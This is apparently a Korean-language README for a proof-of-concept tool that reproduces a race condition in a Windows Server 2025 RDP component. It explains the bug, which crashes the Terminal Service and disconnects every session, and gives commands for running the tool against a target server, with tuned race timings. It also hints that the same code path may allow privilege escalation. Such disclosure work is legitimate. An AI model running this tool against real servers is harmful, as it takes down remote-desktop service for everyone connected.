
CVE-2026-50369에 대한 PoC 재현 도구로, Windows Server 2025 RDS 세션 호스트의 rdpcorets.dll에서 발생하는 TOCTOU 경쟁 조건으로 인해 RDP 세션 연결 끊김을 통해 TermService DoS가 발생합니다.
Windows Server 2025 RDS 세션 호스트에서 rdpcorets.dll!CRdpPipeGfxPlugin::Enable의 TOCTOU 경쟁 조건(race condition) 재현기입니다.
저는 이를 DoS로 신고했습니다. 해당 코드 경로는 어찌된 일인지 EoP까지도 가능하게 하는 것으로 보입니다. 이 재현기는 DoS 경로만을 위한 PoC입니다.
Enable은 this+0x60에 있는 COM 인터페이스 포인터를 동기화 없이 두 번 읽습니다. TerminateInstance는 자체 임계 영역(critical section) 범위 밖에서 동일한 필드를 지웁니다. 두 함수 모두 PnP 장치 도착 및 제거 작업 항목을 통해 NT 스레드풀에서 동시에 실행됩니다. 두 번째 읽기가 null을 역참조 → 액세스 위반 → TermService 충돌 → 모든 활성 RDP 세션 연결 끊김.
# install dependencies (Debian/Ubuntu)
sudo apt install -y freerdp3-x11 xvfb python3 # or freerdp2-x11
# create credentials file
echo -e "user1:pass1\nuser2:pass2\nuser3:pass3" > credentials.txt
# standard mode
python3 rdp-chaos.py --server <target> --creds credentials.txt
# burst mode (faster trigger)
python3 rdp-chaos.py --server <target> --creds credentials.txt \
--burst --burst-count 16 --burst-kill-hold 0.1 --burst-race 0.030